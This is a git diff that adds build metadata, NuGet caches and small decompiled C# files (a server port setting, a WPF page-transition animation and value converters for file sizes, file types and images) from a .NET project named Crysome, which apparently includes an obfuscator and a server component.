"C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\Crysome.Obfuscator.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net9.0-windows" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "dependencies": { + "dnlib": { + "target": "Package", + "version": "[4.5.0, )" + } + }, + "imports": [ + "net461", + "net462", + "net47", + "net471", + "net472", + "net48", + "net481" + ], + "assetTargetFallback": true, + "warn": true, + "frameworkReferences": { + "Microsoft.NETCore.App": { + "privateAssets": "all" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102/PortableRuntimeIdentifierGraph.json" + } + } + } +} \ No newline at end of file diff --git a/Crysome.Obfuscator/obj/project.nuget.cache b/Crysome.Obfuscator/obj/project.nuget.cache new file mode 100644 index 0000000..cb531db --- /dev/null +++ b/Crysome.Obfuscator/obj/project.nuget.cache @@ -0,0 +1,10 @@ +{ + "version": 2, + "dgSpecHash": "hdzL32T2Mjs=", + "success": true, + "projectFilePath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Obfuscator\\Crysome.Obfuscator.csproj", + "expectedPackageFiles": [ + "C:\\Users\\lukas\\.nuget\\packages\\dnlib\\4.5.0\\dnlib.4.5.0.nupkg.sha512" + ], + "logs": [] +} \ No newline at end of file diff --git a/Crysome.Server.Core/Crysome.Server.Core.csproj b/Crysome.Server.Core/Crysome.Server.Core.csproj new file mode 100644 index 0000000..822b57f --- /dev/null +++ b/Crysome.Server.Core/Crysome.Server.Core.csproj @@ -0,0 +1,8 @@ + + + net9.0-windows + ..\CRYSOME_COMPILED\ + false + false + + diff --git a/Crysome.Server.Core/Crysome.Server.Core/IServerTool.cs b/Crysome.Server.Core/Crysome.Server.Core/IServerTool.cs new file mode 100644 index 0000000..8538fca --- /dev/null +++ b/Crysome.Server.Core/Crysome.Server.Core/IServerTool.cs @@ -0,0 +1,6 @@ +namespace Crysome.Server.Core; + +public interface IServerTool +{ + bool Register(); +} diff --git a/Crysome.Server.Core/obj/Crysome.Server.Core.csproj.nuget.dgspec.json b/Crysome.Server.Core/obj/Crysome.Server.Core.csproj.nuget.dgspec.json new file mode 100644 index 0000000..d575c10 --- /dev/null +++ b/Crysome.Server.Core/obj/Crysome.Server.Core.csproj.nuget.dgspec.json @@ -0,0 +1,77 @@ +{ + "format": 1, + "restore": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\Crysome.Server.Core.csproj": {} + }, + "projects": { + "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\Crysome.Server.Core.csproj": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\Crysome.Server.Core.csproj", + "projectName": "Crysome.Server.Core", + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\Crysome.Server.Core.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net9.0-windows" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "imports": [ + "net461", + "net462", + "net47", + "net471", + "net472", + "net48", + "net481" + ], + "assetTargetFallback": true, + "warn": true, + "frameworkReferences": { + "Microsoft.NETCore.App": { + "privateAssets": "all" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102/PortableRuntimeIdentifierGraph.json" + } + } + } + } +} \ No newline at end of file diff --git a/Crysome.Server.Core/obj/Crysome.Server.Core.csproj.nuget.g.props b/Crysome.Server.Core/obj/Crysome.Server.Core.csproj.nuget.g.props new file mode 100644 index 0000000..b837261 --- /dev/null +++ b/Crysome.Server.Core/obj/Crysome.Server.Core.csproj.nuget.g.props @@ -0,0 +1,17 @@ + + + + True + NuGet + $(MSBuildThisFileDirectory)project.assets.json + $(UserProfile)\.nuget\packages\ + C:\Users\lukas\.nuget\packages\;C:\Program Files\DevExpress 24.2\Components\Offline Packages;C:\Program Files (x86)\Microsoft Visual Studio\Shared\NuGetPackages + PackageReference + 7.0.0 + + + + + + + \ No newline at end of file diff --git a/Crysome.Server.Core/obj/Crysome.Server.Core.csproj.nuget.g.targets b/Crysome.Server.Core/obj/Crysome.Server.Core.csproj.nuget.g.targets new file mode 100644 index 0000000..35a7576 --- /dev/null +++ b/Crysome.Server.Core/obj/Crysome.Server.Core.csproj.nuget.g.targets @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/Crysome.Server.Core/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs b/Crysome.Server.Core/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs new file mode 100644 index 0000000..ea1f2ea --- /dev/null +++ b/Crysome.Server.Core/obj/Debug/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")] diff --git a/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.GeneratedMSBuildEditorConfig.editorconfig b/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..95b1388 --- /dev/null +++ b/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,18 @@ +is_global = true +build_property.TargetFramework = net9.0-windows +build_property.TargetFrameworkIdentifier = .NETCoreApp +build_property.TargetFrameworkVersion = v9.0 +build_property.TargetPlatformMinVersion = 7.0 +build_property.UsingMicrosoftNETSdkWeb = +build_property.ProjectTypeGuids = +build_property.InvariantGlobalization = +build_property.PlatformNeutralAssembly = +build_property.EnforceExtendedAnalyzerRules = +build_property._SupportedPlatformList = Linux,macOS,Windows +build_property.RootNamespace = Crysome.Server.Core +build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server.Core\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = 9.0 +build_property.EnableCodeStyleSeverity = diff --git a/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.assets.cache b/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.assets.cache new file mode 100644 index 0000000..30b0970 Binary files /dev/null and b/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.assets.cache differ diff --git a/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.csproj.CoreCompileInputs.cache b/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..b0616d6 --- /dev/null +++ b/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +711f04de691bcb67cc10307f5ba07867758b3158f61c0f34cf4408062b1a8d1a diff --git a/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.csproj.FileListAbsolute.txt b/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..021c65e --- /dev/null +++ b/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.csproj.FileListAbsolute.txt @@ -0,0 +1,12 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Server.Core.deps.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Server.Core.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CrysomeFullBuild\Crysome.Server.Core.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server.Core\obj\Debug\Crysome.Server.Core.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server.Core\obj\Debug\Crysome.Server.Core.csproj.CoreCompileInputs.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server.Core\obj\Debug\Crysome.Server.Core.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server.Core\obj\Debug\refint\Crysome.Server.Core.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server.Core\obj\Debug\Crysome.Server.Core.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server.Core\obj\Debug\ref\Crysome.Server.Core.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.Core.deps.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.Core.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.Core.pdb diff --git a/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.dll b/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.dll new file mode 100644 index 0000000..4be9561 Binary files /dev/null and b/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.dll differ diff --git a/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.pdb b/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.pdb new file mode 100644 index 0000000..74cc294 Binary files /dev/null and b/Crysome.Server.Core/obj/Debug/Crysome.Server.Core.pdb differ diff --git a/Crysome.Server.Core/obj/Debug/ref/Crysome.Server.Core.dll b/Crysome.Server.Core/obj/Debug/ref/Crysome.Server.Core.dll new file mode 100644 index 0000000..e070445 Binary files /dev/null and b/Crysome.Server.Core/obj/Debug/ref/Crysome.Server.Core.dll differ diff --git a/Crysome.Server.Core/obj/Debug/refint/Crysome.Server.Core.dll b/Crysome.Server.Core/obj/Debug/refint/Crysome.Server.Core.dll new file mode 100644 index 0000000..e070445 Binary files /dev/null and b/Crysome.Server.Core/obj/Debug/refint/Crysome.Server.Core.dll differ diff --git a/Crysome.Server.Core/obj/Release/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs b/Crysome.Server.Core/obj/Release/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs new file mode 100644 index 0000000..ea1f2ea --- /dev/null +++ b/Crysome.Server.Core/obj/Release/.NETCoreApp,Version=v9.0.AssemblyAttributes.cs @@ -0,0 +1,4 @@ +// +using System; +using System.Reflection; +[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETCoreApp,Version=v9.0", FrameworkDisplayName = ".NET 9.0")] diff --git a/Crysome.Server.Core/obj/Release/Crysome.Server.Core.GeneratedMSBuildEditorConfig.editorconfig b/Crysome.Server.Core/obj/Release/Crysome.Server.Core.GeneratedMSBuildEditorConfig.editorconfig new file mode 100644 index 0000000..95b1388 --- /dev/null +++ b/Crysome.Server.Core/obj/Release/Crysome.Server.Core.GeneratedMSBuildEditorConfig.editorconfig @@ -0,0 +1,18 @@ +is_global = true +build_property.TargetFramework = net9.0-windows +build_property.TargetFrameworkIdentifier = .NETCoreApp +build_property.TargetFrameworkVersion = v9.0 +build_property.TargetPlatformMinVersion = 7.0 +build_property.UsingMicrosoftNETSdkWeb = +build_property.ProjectTypeGuids = +build_property.InvariantGlobalization = +build_property.PlatformNeutralAssembly = +build_property.EnforceExtendedAnalyzerRules = +build_property._SupportedPlatformList = Linux,macOS,Windows +build_property.RootNamespace = Crysome.Server.Core +build_property.ProjectDir = C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server.Core\ +build_property.EnableComHosting = +build_property.EnableGeneratedComInterfaceComImportInterop = +build_property.CsWinRTUseWindowsUIXamlProjections = false +build_property.EffectiveAnalysisLevelStyle = 9.0 +build_property.EnableCodeStyleSeverity = diff --git a/Crysome.Server.Core/obj/Release/Crysome.Server.Core.assets.cache b/Crysome.Server.Core/obj/Release/Crysome.Server.Core.assets.cache new file mode 100644 index 0000000..62d2ec9 Binary files /dev/null and b/Crysome.Server.Core/obj/Release/Crysome.Server.Core.assets.cache differ diff --git a/Crysome.Server.Core/obj/Release/Crysome.Server.Core.csproj.CoreCompileInputs.cache b/Crysome.Server.Core/obj/Release/Crysome.Server.Core.csproj.CoreCompileInputs.cache new file mode 100644 index 0000000..9c79028 --- /dev/null +++ b/Crysome.Server.Core/obj/Release/Crysome.Server.Core.csproj.CoreCompileInputs.cache @@ -0,0 +1 @@ +ba38970871df729bc7d23ea474f6b139e4a9ac841e2f5270008600163420ca9c diff --git a/Crysome.Server.Core/obj/Release/Crysome.Server.Core.csproj.FileListAbsolute.txt b/Crysome.Server.Core/obj/Release/Crysome.Server.Core.csproj.FileListAbsolute.txt new file mode 100644 index 0000000..9d27fcc --- /dev/null +++ b/Crysome.Server.Core/obj/Release/Crysome.Server.Core.csproj.FileListAbsolute.txt @@ -0,0 +1,9 @@ +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.Core.deps.json +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.Core.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\CRYSOME_COMPILED\Crysome.Server.Core.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server.Core\obj\Release\Crysome.Server.Core.GeneratedMSBuildEditorConfig.editorconfig +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server.Core\obj\Release\Crysome.Server.Core.csproj.CoreCompileInputs.cache +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server.Core\obj\Release\Crysome.Server.Core.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server.Core\obj\Release\refint\Crysome.Server.Core.dll +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server.Core\obj\Release\Crysome.Server.Core.pdb +C:\Users\lukas\Downloads\net9.0-windows\net9.0-windows\CrysomeDecompiled\Crysome.Server.Core\obj\Release\ref\Crysome.Server.Core.dll diff --git a/Crysome.Server.Core/obj/Release/Crysome.Server.Core.dll b/Crysome.Server.Core/obj/Release/Crysome.Server.Core.dll new file mode 100644 index 0000000..78a6e93 Binary files /dev/null and b/Crysome.Server.Core/obj/Release/Crysome.Server.Core.dll differ diff --git a/Crysome.Server.Core/obj/Release/Crysome.Server.Core.pdb b/Crysome.Server.Core/obj/Release/Crysome.Server.Core.pdb new file mode 100644 index 0000000..86c96fe Binary files /dev/null and b/Crysome.Server.Core/obj/Release/Crysome.Server.Core.pdb differ diff --git a/Crysome.Server.Core/obj/Release/ref/Crysome.Server.Core.dll b/Crysome.Server.Core/obj/Release/ref/Crysome.Server.Core.dll new file mode 100644 index 0000000..9c1b6e1 Binary files /dev/null and b/Crysome.Server.Core/obj/Release/ref/Crysome.Server.Core.dll differ diff --git a/Crysome.Server.Core/obj/Release/refint/Crysome.Server.Core.dll b/Crysome.Server.Core/obj/Release/refint/Crysome.Server.Core.dll new file mode 100644 index 0000000..9c1b6e1 Binary files /dev/null and b/Crysome.Server.Core/obj/Release/refint/Crysome.Server.Core.dll differ diff --git a/Crysome.Server.Core/obj/project.assets.json b/Crysome.Server.Core/obj/project.assets.json new file mode 100644 index 0000000..c41ce1b --- /dev/null +++ b/Crysome.Server.Core/obj/project.assets.json @@ -0,0 +1,84 @@ +{ + "version": 3, + "targets": { + "net9.0-windows7.0": {} + }, + "libraries": {}, + "projectFileDependencyGroups": { + "net9.0-windows7.0": [] + }, + "packageFolders": { + "C:\\Users\\lukas\\.nuget\\packages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages": {}, + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages": {} + }, + "project": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\Crysome.Server.Core.csproj", + "projectName": "Crysome.Server.Core", + "projectPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\Crysome.Server.Core.csproj", + "packagesPath": "C:\\Users\\lukas\\.nuget\\packages\\", + "outputPath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\obj\\", + "projectStyle": "PackageReference", + "fallbackFolders": [ + "C:\\Program Files\\DevExpress 24.2\\Components\\Offline Packages", + "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\NuGetPackages" + ], + "configFilePaths": [ + "C:\\Users\\lukas\\AppData\\Roaming\\NuGet\\NuGet.Config", + "C:\\Program Files (x86)\\NuGet\\Config\\DevExpress 24.2.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.FallbackLocation.config", + "C:\\Program Files (x86)\\NuGet\\Config\\Microsoft.VisualStudio.Offline.config" + ], + "originalTargetFrameworks": [ + "net9.0-windows" + ], + "sources": { + "C:\\Program Files (x86)\\Microsoft SDKs\\NuGetPackages\\": {}, + "C:\\Program Files\\DevExpress 24.2\\Components\\System\\Components\\Packages": {}, + "C:\\Program Files\\dotnet\\library-packs": {}, + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + }, + "SdkAnalysisLevel": "10.0.100" + }, + "frameworks": { + "net9.0-windows7.0": { + "targetAlias": "net9.0-windows", + "imports": [ + "net461", + "net462", + "net47", + "net471", + "net472", + "net48", + "net481" + ], + "assetTargetFallback": true, + "warn": true, + "frameworkReferences": { + "Microsoft.NETCore.App": { + "privateAssets": "all" + } + }, + "runtimeIdentifierGraphPath": "C:\\Program Files\\dotnet\\sdk\\10.0.102/PortableRuntimeIdentifierGraph.json" + } + } + } +} \ No newline at end of file diff --git a/Crysome.Server.Core/obj/project.nuget.cache b/Crysome.Server.Core/obj/project.nuget.cache new file mode 100644 index 0000000..42d2205 --- /dev/null +++ b/Crysome.Server.Core/obj/project.nuget.cache @@ -0,0 +1,8 @@ +{ + "version": 2, + "dgSpecHash": "YaTk08eLuxw=", + "success": true, + "projectFilePath": "C:\\Users\\lukas\\Downloads\\net9.0-windows\\net9.0-windows\\CrysomeDecompiled\\Crysome.Server.Core\\Crysome.Server.Core.csproj", + "expectedPackageFiles": [], + "logs": [] +} \ No newline at end of file diff --git a/Crysome.Server/Crysome.Server.Configuration/ServerConfiguration.cs b/Crysome.Server/Crysome.Server.Configuration/ServerConfiguration.cs new file mode 100644 index 0000000..2b1ef9f --- /dev/null +++ b/Crysome.Server/Crysome.Server.Configuration/ServerConfiguration.cs @@ -0,0 +1,6 @@ +namespace Crysome.Server.Configuration; + +public static class ServerConfiguration +{ + public static int Port { get; set; } = 7777; +} diff --git a/Crysome.Server/Crysome.Server.Controls/PageTransitionControl.cs b/Crysome.Server/Crysome.Server.Controls/PageTransitionControl.cs new file mode 100644 index 0000000..983adab --- /dev/null +++ b/Crysome.Server/Crysome.Server.Controls/PageTransitionControl.cs @@ -0,0 +1,80 @@ +using System; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Media; +using System.Windows.Media.Animation; + +namespace Crysome.Server.Controls; + +[TemplatePart(Name = "PART_OldContent", Type = typeof(ContentPresenter))] +[TemplatePart(Name = "PART_NewContent", Type = typeof(ContentPresenter))] +public class PageTransitionControl : ContentControl +{ + private ContentPresenter _oldContent; + + private ContentPresenter _newContent; + + static PageTransitionControl() + { + FrameworkElement.DefaultStyleKeyProperty.OverrideMetadata(typeof(PageTransitionControl), (PropertyMetadata)(object)new FrameworkPropertyMetadata((object)typeof(PageTransitionControl))); + } + + public override void OnApplyTemplate() + { + base.OnApplyTemplate(); + _oldContent = GetTemplateChild("PART_OldContent") as ContentPresenter; + _newContent = GetTemplateChild("PART_NewContent") as ContentPresenter; + if (_newContent != null) + { + _newContent.Content = base.Content; + } + } + + protected override void OnContentChanged(object oldContent, object newContent) + { + base.OnContentChanged(oldContent, newContent); + if (_oldContent != null && _newContent != null) + { + _oldContent.Content = oldContent; + _newContent.Content = newContent; + _oldContent.RenderTransform = new TranslateTransform(); + _newContent.RenderTransform = new TranslateTransform(); + _oldContent.Opacity = 1.0; + _newContent.Opacity = 0.0; + AnimateTransition(); + } + } + + private void AnimateTransition() + { + Storyboard storyboard = new Storyboard(); + TimeSpan timeSpan = TimeSpan.FromMilliseconds(300L, 0L); + CubicEase easingFunction = new CubicEase + { + EasingMode = EasingMode.EaseOut + }; + DoubleAnimation doubleAnimation = new DoubleAnimation(0.0, -50.0, timeSpan) + { + EasingFunction = easingFunction + }; + DoubleAnimation doubleAnimation2 = new DoubleAnimation(1.0, 0.0, timeSpan); + Storyboard.SetTarget((DependencyObject)(object)doubleAnimation, (DependencyObject)(object)_oldContent); + Storyboard.SetTargetProperty((DependencyObject)(object)doubleAnimation, new PropertyPath("(UIElement.RenderTransform).(TranslateTransform.X)")); + Storyboard.SetTarget((DependencyObject)(object)doubleAnimation2, (DependencyObject)(object)_oldContent); + Storyboard.SetTargetProperty((DependencyObject)(object)doubleAnimation2, new PropertyPath("Opacity")); + DoubleAnimation doubleAnimation3 = new DoubleAnimation(50.0, 0.0, timeSpan) + { + EasingFunction = easingFunction + }; + DoubleAnimation doubleAnimation4 = new DoubleAnimation(0.0, 1.0, timeSpan); + Storyboard.SetTarget((DependencyObject)(object)doubleAnimation3, (DependencyObject)(object)_newContent); + Storyboard.SetTargetProperty((DependencyObject)(object)doubleAnimation3, new PropertyPath("(UIElement.RenderTransform).(TranslateTransform.X)")); + Storyboard.SetTarget((DependencyObject)(object)doubleAnimation4, (DependencyObject)(object)_newContent); + Storyboard.SetTargetProperty((DependencyObject)(object)doubleAnimation4, new PropertyPath("Opacity")); + storyboard.Children.Add(doubleAnimation); + storyboard.Children.Add(doubleAnimation2); + storyboard.Children.Add(doubleAnimation3); + storyboard.Children.Add(doubleAnimation4); + storyboard.Begin(); + } +} diff --git a/Crysome.Server/Crysome.Server.Converters/BooleanToVisibilityConverter.cs b/Crysome.Server/Crysome.Server.Converters/BooleanToVisibilityConverter.cs new file mode 100644 index 0000000..a473efa --- /dev/null +++ b/Crysome.Server/Crysome.Server.Converters/BooleanToVisibilityConverter.cs @@ -0,0 +1,37 @@ +using System; +using System.Globalization; +using System.Windows; +using System.Windows.Data; + +namespace Crysome.Server.Converters; + +public class BooleanToVisibilityConverter : IValueConverter +{ + public bool Invert { get; set; } + + public object Convert(object value, Type targetType, object parameter, CultureInfo culture) + { + bool flag = default(bool); + int num; + if (value is bool) + { + flag = (bool)value; + num = 1; + } + else + { + num = 0; + } + bool flag2 = (byte)((uint)num & (flag ? 1u : 0u)) != 0; + if (Invert) + { + flag2 = !flag2; + } + return (!flag2) ? Visibility.Collapsed : Visibility.Visible; + } + + public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture) + { + throw new NotImplementedException(); + } +} diff --git a/Crysome.Server/Crysome.Server.Converters/ByteArrayToImageConverter.cs b/Crysome.Server/Crysome.Server.Converters/ByteArrayToImageConverter.cs new file mode 100644 index 0000000..55ebffd --- /dev/null +++ b/Crysome.Server/Crysome.Server.Converters/ByteArrayToImageConverter.cs @@ -0,0 +1,39 @@ +using System; +using System.Globalization; +using System.IO; +using System.Windows; +using System.Windows.Data; +using System.Windows.Media.Imaging; + +namespace Crysome.Server.Converters; + +[ValueConversion(typeof(byte[]), typeof(BitmapImage))] +public class ByteArrayToImageConverter : IValueConverter +{ + public object Convert(object value, Type targetType, object parameter, CultureInfo culture) + { + if (!(value is byte[] array) || array.Length == 0) + { + return null; + } + try + { + BitmapImage bitmapImage = new BitmapImage(); + bitmapImage.BeginInit(); + bitmapImage.StreamSource = new MemoryStream(array); + bitmapImage.CacheOption = BitmapCacheOption.OnLoad; + bitmapImage.EndInit(); + ((Freezable)bitmapImage).Freeze(); + return bitmapImage; + } + catch + { + return null; + } + } + + public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture) + { + throw new NotSupportedException(); + } +} diff --git a/Crysome.Server/Crysome.Server.Converters/FileSizeConverter.cs b/Crysome.Server/Crysome.Server.Converters/FileSizeConverter.cs new file mode 100644 index 0000000..19dfc09 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Converters/FileSizeConverter.cs @@ -0,0 +1,42 @@ +using System; +using System.Globalization; +using System.Windows.Data; +using Crysome.Common.Model; + +namespace Crysome.Server.Converters; + +public class FileSizeConverter : IMultiValueConverter +{ + public object Convert(object[] values, Type targetType, object parameter, CultureInfo culture) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + long num = (long)values[0]; + if ((int)(FileType)values[1] == 0) + { + return "-"; + } + string text = "bytes"; + long num2 = num; + if (num >= 1000) + { + text = "KB"; + num2 = num / 1024; + } + if (num >= 1000000) + { + text = "MB"; + num2 = num / 1048576; + } + if (num >= 1000000000) + { + text = "GB"; + num2 = num / 1073741824; + } + return num2 + " " + text; + } + + public object[] ConvertBack(object value, Type[] targetType, object parameter, CultureInfo culture) + { + throw new NotImplementedException(); + } +} diff --git a/Crysome.Server/Crysome.Server.Converters/FileTypeConverter.cs b/Crysome.Server/Crysome.Server.Converters/FileTypeConverter.cs new file mode 100644 index 0000000..d411476 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Converters/FileTypeConverter.cs @@ -0,0 +1,27 @@ +using System; +using System.Globalization; +using System.Windows.Data; +using Crysome.Common.Model; +using Crysome.Server.Resources; + +namespace Crysome.Server.Converters; + +[ValueConversion(typeof(FileType), typeof(string))] +public class FileTypeConverter : IValueConverter +{ + public object Convert(object value, Type targetType, object parameter, CultureInfo culture) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)(FileType)value != 1) + { + return Strings.FileType_Folder; + } + return Strings.FileType_File; + } + + public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture) + { + return (object)(FileType)(((string)value == Strings.FileType_File) ? 1 : 0); + } +} diff 